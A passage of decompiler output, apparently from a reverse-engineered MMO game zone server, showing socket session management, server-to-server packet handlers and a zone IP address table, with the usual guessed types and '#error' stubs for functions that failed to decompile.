CSocket_IOCP::Shutdown(&this->m_SocketIOCP); CSocket_IOCP::Close(v5); v4->m_Packet.vfptr->Clear(&v4->m_Packet); return CSocket_IOCP::Connect(v5, pIPAddress, PortNo) && (!pIOCP || ZoneBaseSession::Socket_Register_To_IOCP(v4, pIOCP)); } //----- (00536D70) -------------------------------------------------------- void __thiscall ZoneBaseSession::ZoneBaseSession(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 unsigned int v2; // eax@1 CIOCP_Process *v3; // ecx@1 CIOCP_Process *v4; // edx@1 CIOCP_Process *v5; // eax@1 v1 = this; this->vfptr = (ZoneBaseSessionVtbl *)&ZoneBaseSession::_vftable_; CSocket_IOCP::CSocket_IOCP(&this->m_SocketIOCP); CPacket::CPacket(&v1->m_Packet); v1->m_IOCP_Process.baseclass_0.vfptr = (CIOCP_Process_InterfeceVtbl *)&IOCPProcessSession::_vftable_; v1->m_Connected_Server_ID = 10; v1->m_Connected_World = 0; v1->m_Connected_Zone = 0; v1->m_Status = 0; GetLocalTime(&v1->m_Connected_Time); v1->m_LastReceiveTime = CGTimer::GetTime(); v2 = CGTimer::GetTime(); v3 = v1->m_SocketIOCP.m_Overlapped_Write.pIOCP_Process; v1->m_LastSendTime = v2; v1->m_LastHeartBeatSendTime = 0; v3->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v4 = v1->m_SocketIOCP.m_Overlapped_Read.pIOCP_Process; v1->m_SocketIOCP.m_Overlapped_Write.pData = v1; v4->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v5 = v1->m_SocketIOCP.m_Overlapped_Close.pIOCP_Process; v1->m_SocketIOCP.m_Overlapped_Read.pData = v1; v5->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v1->m_SocketIOCP.m_Overlapped_Close.pData = v1; } // 5E0920: using guessed type int (__stdcall *ZoneBaseSession___vftable_)(int interval); // 5E0984: using guessed type int (__stdcall *IOCPProcessSession___vftable_)(int pOverlapped, int NumOfBytes); //----- (00536E30) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::ZoneBaseSessionManager(ZoneBaseSessionManager *this) { this->vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; this->m_pSessionListArray = 0; this->m_MaxSessions = 0; this->m_NumSessions = 0; this->m_pActiveSessions = 0; this->m_pEmptySessions = 0; } // 5AD790: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (00536E50) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::FreeSessions(ZoneBaseSessionManager *this) { ZoneBaseSessionManager *v1; // esi@1 v1 = this; if ( this->m_pSessionListArray ) { operator delete(this->m_pSessionListArray); v1->m_pSessionListArray = 0; v1->m_pActiveSessions = 0; v1->m_pEmptySessions = 0; } } //----- (00536E80) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::ProcHeartBeat(ZoneBaseSessionManager *this, CIOCP *pIOCP) { ZoneBaseSessionManager::LOGIN_SESSION_LIST *v2; // esi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // edi@2 v2 = this->m_pActiveSessions; if ( v2 ) { do { v3 = v2->pLinkDown; if ( !(**(int (__stdcall ***)(_DWORD))v2->pSession)(30) ) CSocket_IOCP::CloseUseIOCP(&v2->pSession->m_SocketIOCP, pIOCP); v2 = v3; } while ( v3 ); } } //----- (00536EC0) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::_ZoneBaseSessionManager(ZoneBaseSessionManager *this) { ZoneBaseSessionManager *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->m_pSessionListArray; this->vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; if ( v2 ) { operator delete(v2); v1->m_pSessionListArray = 0; v1->m_pActiveSessions = 0; v1->m_pEmptySessions = 0; } } // 5AD790: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (00536EF0) -------------------------------------------------------- int __thiscall ZoneBaseSessionManager::InitSessions(ZoneBaseSessionManager *this, int MaxSessions) { ZoneBaseSessionManager *v2; // esi@1 void *v3; // eax@4 int v4; // ecx@4 int v5; // eax@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v6; // edx@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v7; // edx@8 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v8; // eax@12 v2 = this; if ( this->m_pSessionListArray ) { operator delete(this->m_pSessionListArray); v2->m_pSessionListArray = 0; v2->m_pActiveSessions = 0; v2->m_pEmptySessions = 0; } if ( MaxSessions >= 1 ) { v3 = operator new__(12 * MaxSessions); v4 = 0; for ( v2->m_pSessionListArray = (ZoneBaseSessionManager::LOGIN_SESSION_LIST *)v3; v4 < MaxSessions; ++v4 ) { v5 = v4; v2->m_pSessionListArray[v4].pSession = 0; v6 = v2->m_pSessionListArray; if ( v4 ) v6[v5].pLinkUp = &v6[v5 - 1]; else v6->pLinkUp = 0; v7 = v2->m_pSessionListArray; if ( v4 == MaxSessions - 1 ) v7[v5].pLinkDown = 0; else v7[v5].pLinkDown = &v7[v5 + 1]; } v8 = v2->m_pSessionListArray; v2->m_MaxSessions = MaxSessions; v2->m_NumSessions = 0; v2->m_pEmptySessions = v8; v2->m_pActiveSessions = 0; } return 1; } //----- (00536F90) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::EmptyToActive(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList) { ZoneBaseSessionManager *v2; // esi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // ecx@6 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v4; // ecx@8 v2 = this; if ( pSessionList ) { if ( pSessionList->pLinkUp ) pSessionList->pLinkUp->pLinkDown = pSessionList->pLinkDown; else this->m_pEmptySessions = pSessionList->pLinkDown; v3 = pSessionList->pLinkDown; if ( v3 ) v3->pLinkUp = pSessionList->pLinkUp; pSessionList->pLinkUp = 0; pSessionList->pLinkDown = v2->m_pActiveSessions; v4 = v2->m_pActiveSessions; if ( v4 ) v4->pLinkUp = pSessionList; v2->m_pActiveSessions = pSessionList; ++v2->m_NumSessions; } else { GetCurrentTimeString(0); _DebugMessageNew(1, "Msg", "%s%s"); ++v2->m_NumSessions; } } //----- (00537010) -------------------------------------------------------- ZoneBaseSessionManager::LOGIN_SESSION_LIST *__thiscall ZoneBaseSessionManager::ActiveSession(ZoneBaseSessionManager *this, unsigned int SocketAccept, sockaddr *pAddr) { ZoneBaseSessionManager *v3; // edi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v4; // esi@2 int v5; // edx@3 ZoneBaseSessionManager::LOGIN_SESSION_LIST *result; // eax@3 v3 = this; if ( this->m_MaxSessions > this->m_NumSessions && (v4 = this->m_pEmptySessions) != 0 ) { v4->pSession->m_Packet.vfptr->Clear(&v4->pSession->m_Packet); v4->pSession->m_SocketIOCP.m_Socket = SocketAccept; v5 = (int)&v4->pSession->m_SocketIOCP.m_SocketAddr; *(_DWORD *)v5 = *(_DWORD *)&pAddr->sa_family; *(_DWORD *)(v5 + 4) = *(_DWORD *)&pAddr->sa_data[2]; *(_DWORD *)(v5 + 8) = *(_DWORD *)&pAddr->sa_data[6]; *(_DWORD *)(v5 + 12) = *(_DWORD *)&pAddr->sa_data[10]; v4->pSession->m_Status = 2; ZoneBaseSessionManager::EmptyToActive(v3, v4); result = v4; } else { GetCurrentTimeString(0); _DebugMessageNew(1, "Msg", "%s%s"); result = 0; } return result; } //----- (005370A0) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::InactiveSession(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList) { ZoneBaseSessionManager::LOGIN_SESSION_LIST *v2; // edx@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // edx@7 if ( pSessionList ) { if ( pSessionList->pLinkUp ) pSessionList->pLinkUp->pLinkDown = pSessionList->pLinkDown; else this->m_pActiveSessions = pSessionList->pLinkDown; v2 = pSessionList->pLinkDown; if ( v2 ) v2->pLinkUp = pSessionList->pLinkUp; } pSessionList->pLinkUp = 0; pSessionList->pLinkDown = this->m_pEmptySessions; v3 = this->m_pEmptySessions; if ( v3 ) v3->pLinkUp = pSessionList; this->m_pEmptySessions = pSessionList; --this->m_NumSessions; } //----- (005370F0) -------------------------------------------------------- void __thiscall ZoneConnectSession::ZoneConnectSession(ZoneConnectSession *this) { ZoneConnectSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneConnectSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 3; } // 5E0A04: using guessed type int (__stdcall *ZoneConnectSession___vftable_)(int interval); //----- (00537120) -------------------------------------------------------- void __thiscall ZoneConnectSession::_ZoneConnectSession(ZoneConnectSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&ZoneConnectSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5E0A04: using guessed type int (__stdcall *ZoneConnectSession___vftable_)(int interval); //----- (00537130) -------------------------------------------------------- void __thiscall ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(ZoneRingPacketFindPlayer *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketFindPlayer::_vftable_; } // 5E0A1C: using guessed type int (__stdcall *ZoneRingPacketFindPlayer___vftable_[14])(int, int netcmd); //----- (00537140) -------------------------------------------------------- void __thiscall ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(ZoneRingPacketFindPlayerByNormalUser *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketFindPlayerByNormalUser::_vftable_; } // 5E0A28: using guessed type int (__stdcall *ZoneRingPacketFindPlayerByNormalUser___vftable_[11])(int, int netcmd); //----- (00537150) -------------------------------------------------------- void __thiscall ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(ZoneRingPacketSummonPlayer *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketSummonPlayer::_vftable_; } // 5E0A34: using guessed type int (__stdcall *ZoneRingPacketSummonPlayer___vftable_[8])(int, int netcmd); //----- (00537160) -------------------------------------------------------- void __thiscall ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(ZoneRingPacketKickPlayerOut *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketKickPlayerOut::_vftable_; } // 5E0A40: using guessed type int (__stdcall *ZoneRingPacketKickPlayerOut___vftable_[5])(int, int netcmd); //----- (00537170) -------------------------------------------------------- void __thiscall ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(ZoneRingPacketItemBonus *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketItemBonus::_vftable_; } // 5E0A4C: using guessed type int (__stdcall *ZoneRingPacketItemBonus___vftable_[2])(int, int netcmd); //----- (00537180) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(ZoneRingPacketExpBonus *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketExpBonus::_vftable_; } // 5E0A58: using guessed type int (__stdcall *ZoneRingPacketExpBonus___vftable_[2])(int, int netcmd); //----- (00537190) -------------------------------------------------------- void __thiscall ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(ZoneRingPacketSummonPartner *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketSummonPartner::_vftable_; } // 5E0A64: using guessed type int (__stdcall *ZoneRingPacketSummonPartner___vftable_[5])(int, int netcmd); //----- (005371A0) -------------------------------------------------------- void __thiscall ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(ZoneRingPacketFindInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketRefreshWeddingInfo::_vftable_; } // 5E0A7C: using guessed type int (__stdcall *ZoneRingPacketRefreshWeddingInfo___vftable_[3])(int iti, char nEndureGrade); //----- (005371B0) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(ZoneRingPacketEmtpyInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketEmtpyInstanceDungeon::_vftable_; } // 5E0A70: using guessed type int (__stdcall *ZoneRingPacketEmtpyInstanceDungeon___vftable_[2])(int, int netcmd); //----- (005371C0) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(ZoneRingPacketFindInstanceDungeon *this) { this->baseclass_0.vfptr = (ZoneRingPacketBaseVtbl *)ZoneRingPacketBase::_vftable_; } // 5E0A10: using guessed type int (*ZoneRingPacketBase___vftable_[2])(); //----- (005371D0) -------------------------------------------------------- void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Query(ZoneRingPacketFindInstanceDungeon *this, #325 *a2, NETCOMMAND *netcmd) { int i; // edi@1 OptionReader *v4; // eax@2 void *v5; // eax@2 unsigned __int16 v6; // ax@9 MapInfo *v7; // eax@9 int v8; // eax@10 const char *v9; // eax@12 void *v10; // eax@12 void *v11; // eax@12 void *v12; // eax@12 ORToken v13; // [sp-24h] [bp-188h]@2 ServerMenuArgument *v14; // [sp-20h] [bp-184h]@2 int v15; // [sp-1Ch] [bp-180h]@2 signed int v16; // [sp-18h] [bp-17Ch]@2 int v17; // [sp-14h] [bp-178h]@2 int v18; // [sp-10h] [bp-174h]@2 void (__thiscall *v19)(ServerMenuFuncter *, #434 *, ServerMenuArgument *); // [sp-Ch] [bp-170h]@12 const char *v20; // [sp-8h] [bp-16Ch]@12 int v21; // [sp-4h] [bp-168h]@12 ORToken *v22; // [sp+0h] [bp-164h]@2 ServerMenuArgument smayes; // [sp+4h] [bp-160h]@12 char titlebuf[128]; // [sp+6Ch] [bp-F8h]@12 ServerMenuArgument smano; // [sp+ECh] [bp-78h]@12 unsigned int cookie; // [sp+154h] [bp-10h]@13 int v27; // [sp+160h] [bp-4h]@2 for ( i = 0; ; ++i ) { v18 = i; v22 = &v13; v17 = 0; v16 = 0; v15 = 0; v14 = 0; *(_DWORD *)&v13.ort_Name[0] = 0; strncpy(v13.ort_Name, "LinkTable", 0x14u); v27 = -1; v4 = NPCManager::operator_>(&npcmanager); v5 = OptionReader::or_SelectFromOrder(v4, v13, v18); if ( !v5 ) break; if ( *(_DWORD *)v5 == *(_DWORD *)((char *)&netcmd[6].protocol + 1) && *((_DWORD *)v5 + 1) == *(_DWORD *)((char *)&netcmd[8].protocol + 1) && *((_DWORD *)v5 + 2) == *(_DWORD *)((char *)&netcmd[10].protocol + 1) && *((_DWORD *)v5 + 3) == *(_DWORD *)((char *)&netcmd[12].protocol + 1) && *((_DWORD *)v5 + 4) == *(_DWORD *)((char *)&netcmd[14].protocol + 1) ) { v6 = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)v5 + 53); v7 = MapDataBox::operator__(&mapdatabox, v6); if ( v7 ) v8 = (int)v7->Name; else v8 = (int)byte_5A62A6; v18 = v8; v9 = ShineScript::ss_String(&shinescriptmenusting, "LinkTitle"); sprintf(titlebuf, v9); *(_DWORD *)&smayes.sma_link.sml_lnkinf.index[0] = *(_DWORD *)((char *)&netcmd[4].protocol + 1); ORToken::ort_GetString((ORToken *)((char *)&netcmd[6].protocol + 1), &smayes.sma_link.sml_lnkinf.index[4]); v18 = 1000; v17 = 0; v16 = 65535; v15 = 0; v14 = &smano; smayes.sma_link.sml_lnkinf.linktoserver[4] = 0; *(_DWORD *)&v13.ort_Name[0] = ShineScript::ss_String(&shinescriptetc, "No"); ShineScript::ss_String(&shinescriptetc, "Yes"); v10 = ShineObjectClass::ShinePlayer::sp_ServerMenuTitle((void *)a2, titlebuf); v11 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v10, v19, v20, (ServerMenuArgument *)v21); v12 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v11, v19, v20, (ServerMenuArgument *)v21); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(v12, (char)v19, (__int16)v20, v21, (__int16)v22); break; } } __security_check_cookie(cookie); } //----- (00537370) -------------------------------------------------------- void __thiscall ZoneConnectSession::zcs_Send(ZoneConnectSession *this, ProtocolPacket *pp, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneConnectSession::zcs_Send"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( stru_12571C1C.m_Socket == -1 ) { unk_12571BF4 = 0; ZoneServer::zs_ServerConnect2Zone(&zoneserver, &zoneconnect.baseclass_0); if ( !unk_12571BF4 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); return; } unk_12571C14 = CGTimer::GetTime(); } if ( ProtocolPacket::pp_SetPacketLen(pp, len) ) ProtocolPacket::pp_SendPacket(pp, &zoneconnect.baseclass_0); else AssertClass::ac_AssertFail(&shineassert, "ZoneConnectSession::zcs_Send : Packet Too Long", len); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneConnectSession::zcs_Send"); } //----- (00537490) -------------------------------------------------------- #error "537490: undefined or illegal type '#325' (funcsize=131)" //----- (00537650) -------------------------------------------------------- #error "537650: undefined or illegal type '#325' (funcsize=194)" //----- (00537900) -------------------------------------------------------- #error "537900: undefined or illegal type '#325' (funcsize=200)" //----- (00537BC0) -------------------------------------------------------- #error "537BC0: undefined or illegal type '#325' (funcsize=122)" //----- (00537D60) -------------------------------------------------------- #error "537D60: undefined or illegal type '#325' (funcsize=69)" //----- (00537E60) -------------------------------------------------------- #error "537E60: undefined or illegal type '#325' (funcsize=69)" //----- (00537F60) -------------------------------------------------------- #error "537F60: undefined or illegal type '#325' (funcsize=41)" //----- (00538020) -------------------------------------------------------- #error "538020: undefined or illegal type '#325' (funcsize=107)" //----- (005381B0) -------------------------------------------------------- #error "5381B0: undefined or illegal type '#325' (funcsize=40)" //----- (00538260) -------------------------------------------------------- #error "538260: undefined or illegal type '#325' (funcsize=74)" //----- (005383B0) -------------------------------------------------------- #error "5383B0: undefined or illegal type '#325' (funcsize=74)" //----- (00538500) -------------------------------------------------------- #error "538500: undefined or illegal type '#325' (funcsize=74)" //----- (00538650) -------------------------------------------------------- #error "538650: undefined or illegal type '#325' (funcsize=74)" //----- (005387A0) -------------------------------------------------------- #error "5387A0: undefined or illegal type '#325' (funcsize=74)" //----- (005388F0) -------------------------------------------------------- #error "5388F0: undefined or illegal type '#325' (funcsize=200)" //----- (00538BA0) -------------------------------------------------------- #error "538BA0: undefined or illegal type '#325' (funcsize=144)" //----- (00538DC0) -------------------------------------------------------- #error "538DC0: undefined or illegal type '#325' (funcsize=35)" //----- (00538E70) -------------------------------------------------------- #error "538E70: undefined or illegal type '#325' (funcsize=58)" //----- (00538F70) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(ZoneRingPacketEmtpyInstanceDungeon *this, #325 *a2, NETCOMMAND *netcmd) { ZoneRingPacketEmtpyInstanceDungeon *v3; // esi@1 char *v4; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->baseclass_0.vfptr->zrpb_Success((ZoneRingPacketBase *)v3, a2, netcmd); v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4273; *(_DWORD *)(v4 + 2) = *(_DWORD *)&netcmd[1].protocol; *(_DWORD *)(v4 + 6) = *(_DWORD *)&netcmd[3].protocol; v4[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v4 + 3) = -1; *(_DWORD *)(v4 + 5) = *(_DWORD *)((char *)&netcmd[2].protocol + 1); ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 10); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request"); } //----- (00539060) -------------------------------------------------------- void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(ZoneRingPacketEmtpyInstanceDungeon *this, #325 *a2, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon( &mapclustermanager, (INSTANCE_DUNGEON::CATEGORY)HIBYTE(netcmd[4].protocol), *(_DWORD *)((char *)&netcmd[2].protocol + 1)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success"); } //----- (00539110) -------------------------------------------------------- #error "539110: undefined or illegal type '#585' (funcsize=54)" //----- (00539220) -------------------------------------------------------- void __thiscall ZoneRingPacketItemBonus::zrpb_Success(ZoneRingPacketItemBonus *this, #325 *a2, NETCOMMAND *netcmd) { ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneRingPacketItemBonus::zrpb_Success"); v3 = fieldlist.l_Array; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketItemBonus::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3[fieldlist.l_Finger.store].ls_Next; while ( v4 < fieldlist.l_MaxSize ) { v5 = v4; v6 = v4 < fieldlist.l_MaxSize; v4 = v3[v4].ls_Next; if ( v6 ) { v7 = (int)&v3[v5]; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( v8 != -76 ) { *(_DWORD *)(v8 + 80) = *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1); v3 = fieldlist.l_Array; } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneRingPacketItemBonus::zrpb_Success"); } //----- (005392E0) -------------------------------------------------------- void __thiscall ZoneRingPacketExpBonus::zrpb_Success(ZoneRingPacketExpBonus *this, #325 *a2, NETCOMMAND *netcmd) { ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ZoneRingPacketExpBonus::zrpb_Success"); v3 = fieldlist.l_Array; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneRingPacketExpBonus::zrpb_Success"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3[fieldlist.l_Finger.store].ls_Next; while ( v4 < fieldlist.l_MaxSize ) { v5 = v4; v6 = v4 < fieldlist.l_MaxSize; v4 = v3[v4].ls_Next; if ( v6 ) { v7 = (int)&v3[v5]; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( v8 != -76 ) { *(_DWORD *)(v8 + 76) = *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1); v3 = fieldlist.l_Array; } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ZoneRingPacketExpBonus::zrpb_Success"); } //----- (005393A0) -------------------------------------------------------- #error "5393A0: undefined or illegal type '#325' (funcsize=70)" //----- (005394B0) -------------------------------------------------------- #error "5394B0: undefined or illegal type '#325' (funcsize=245)" //----- (005397E0) -------------------------------------------------------- void __thiscall ZoneIPContainer::_ZoneIPContainer(ZoneIPContainer *this) { _eh_vector_destructor_iterator_( this, 0x12u, 12, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005397F0) -------------------------------------------------------- void __thiscall ZoneIPContainer::zipc_Store(ZoneIPContainer *this, unsigned int machine, char *ipaddr, unsigned __int16 port) { char *v4; // esi@4 if ( machine >= 0xC ) { AssertClass::ac_AssertFail(&shineassert, "ZoneIPContainer::zipc_Store : Invalid mechine", machine); ShineExit("ZoneIPContainer::zipc_Store"); } v4 = (char *)this + 18 * machine; *((_DWORD *)v4 + 3) = 0; *((_DWORD *)v4 + 2) = 0; *((_DWORD *)v4 + 1) = 0; *(_DWORD *)v4 = 0; strncpy(v4, ipaddr, 0x10u); *((_WORD *)v4 + 8) = port; } //----- (00539860) -------------------------------------------------------- Name4 *__thiscall ZoneIPContainer::zipc_GetNextIP(ZoneIPContainer *this) { return &this->zipc_NextIP; } //----- (00539870) -------------------------------------------------------- void __thiscall ZoneIPContainer::zipc_SetNextIP(ZoneIPContainer *this, unsigned int mymachine) { unsigned int v2; // esi@1 ZoneIPContainer *v3; // ebx@1 int v4; // eax@2 char *v5; // eax@8 char Dest[4]; // [sp+14h] [bp-10h]@2 int v7; // [sp+18h] [bp-Ch]@2 int v8; // [sp+1Ch] [bp-8h]@2 int v9; // [sp+20h] [bp-4h]@2 v2 = mymachine + 1; v3 = this; if ( mymachine + 1 >= 0xC || (v9 = 0, v8 = 0, v7 = 0, *(_DWORD *)Dest = 0, strncpy(Dest, byte_5A62A6, 0x10u), v4 = (int)((char *)v3 + 18 * v2), *(_DWORD *)&v3->zipc_IPAddress[v2].addr.n4_name[0] == *(_DWORD *)Dest) && *(_DWORD *)(v4 + 4) == v7 && *(_DWORD *)(v4 + 8) == v8 && *(_DWORD *)(v4 + 12) == v9 ) v2 = 0; if ( v2 == mymachine ) { v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)Dest = 0; strncpy(Dest, byte_5A62A6, 0x10u); v5 = Dest; } else { v5 = (char *)v3 + 18 * v2; } *(_DWORD *)&v3->zipc_NextIP.n4_name[0] = *(_DWORD *)v5; *(_DWORD *)&v3->zipc_NextIP.n4_name[4] = *((_DWORD *)v5 + 1); *(_DWORD *)&v3->zipc_NextIP.n4_name[8] = *((_DWORD *)v5 + 2); *(_DWORD *)&v3->zipc_NextIP.n4_name[12] = *((_DWORD *)v5 + 3); } //----- (00539940) -------------------------------------------------------- int __thiscall ZoneIPContainer::zipc_GetNextZoneNo(ZoneIPContainer *this, unsigned int mymachine) { unsigned int v2; // esi@1 ZoneIPContainer *v3; // edi@1 int result; // eax@2 int v5; // eax@3 char Dest[4]; // [sp+8h] [bp-10h]@3 int v7; // [sp+Ch] [bp-Ch]@3 int v8; // [sp+10h] [bp-8h]@3 int v9; // [sp+14h] [bp-4h]@3 v2 = mymachine + 1; v3 = this; if ( mymachine + 1 < 0xC ) { v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)Dest = 0; strncpy(Dest, byte_5A62A6, 0x10u); v5 = (int)((char *)v3 + 18 * v2); if ( *(_DWORD *)&v3->zipc_IPAddress[v2].addr.n4_name[0] != *(_DWORD *)Dest || *(_DWORD *)(v5 + 4) != v7 || *(_DWORD *)(v5 + 8) != v8 || *(_DWORD *)(v5 + 12) != v9 ) result = mymachine + 1; else result = 0; } else { result = 0; } return result; } //----- (005399D0) -------------------------------------------------------- char __thiscall ZoneIPContainer::zipc_Mechine2IP(ZoneIPContainer *this, char machine, Name4 *zoneip, unsigned __int16 *port) { char v4; // al@1 ZoneIPContainer *v5; // esi@1 char result; // al@4 int v7; // eax@5 int v8; // edx@5 int v9; // eax@5 v4 = machine; v5 = this; if ( machine == 99 ) v4 = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); if ( (unsigned __int8)v4 < 0xCu ) { v7 = 9 * (unsigned __int8)v4; v8 = *(_DWORD *)&v5->zipc_IPAddress[2 * v7 / 0x12u].addr.n4_name[0]; v9 = (int)((char *)v5 + 2 * v7); *(_DWORD *)&zoneip->n4_name[0] = v8; *(_QWORD *)&zoneip->n4_name[4] = *(_QWORD *)(v9 + 4); *(_DWORD *)&zoneip->n4_name[12] = *(_DWORD *)(v9 + 12); *port = *(_WORD *)(v9 + 16); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ZoneIPContainer::zipc_Mechine2IP : Invalid machine number", (unsigned __int8)v4); result = 0; } return result; } //----- (00539A50) -------------------------------------------------------- void __thiscall ZoneIPContainer::ZoneIPContainer(ZoneIPContainer *this) { ZoneIPContainer *v1; // ebx@1 int v2; // esi@1 signed int v3; // ebp@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x12u, 12, (void (__thiscall *)(void 